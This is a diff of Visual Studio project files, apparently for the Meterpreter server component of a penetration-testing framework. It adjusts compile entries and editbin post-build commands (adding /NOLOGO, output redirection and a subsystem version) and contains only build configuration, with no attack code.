<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<ClCompile Include="..\..\source\server\metsrv.c"> <ClCompile Include="..\..\source\server\metsrv.c">
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions> <PrecompiledHeader>Create</PrecompiledHeader>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">Create</PrecompiledHeader>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">Create</PrecompiledHeader>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">Create</PrecompiledHeader>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\source\server\win\remote_dispatch.c">
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile> </ClCompile>
<ClCompile Include="..\..\source\server\win\remote_dispatch.c" />
<ClCompile Include="..\..\source\server\remote_dispatch_common.c" /> <ClCompile Include="..\..\source\server\remote_dispatch_common.c" />
<ClCompile Include="..\..\source\server\server_setup.c" /> <ClCompile Include="..\..\source\server\server_setup.c" />
</ItemGroup> </ItemGroup>
@ -680,4 +667,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -145,9 +145,11 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -172,9 +174,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -217,7 +221,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -260,7 +264,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -289,9 +293,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -320,9 +325,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -364,9 +370,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<FixedBaseAddress>false</FixedBaseAddress> <FixedBaseAddress>false</FixedBaseAddress>
<DataExecutionPrevention>true</DataExecutionPrevention> <DataExecutionPrevention>true</DataExecutionPrevention>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -408,9 +415,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<FixedBaseAddress>false</FixedBaseAddress> <FixedBaseAddress>false</FixedBaseAddress>
<DataExecutionPrevention>true</DataExecutionPrevention> <DataExecutionPrevention>true</DataExecutionPrevention>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -439,4 +447,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>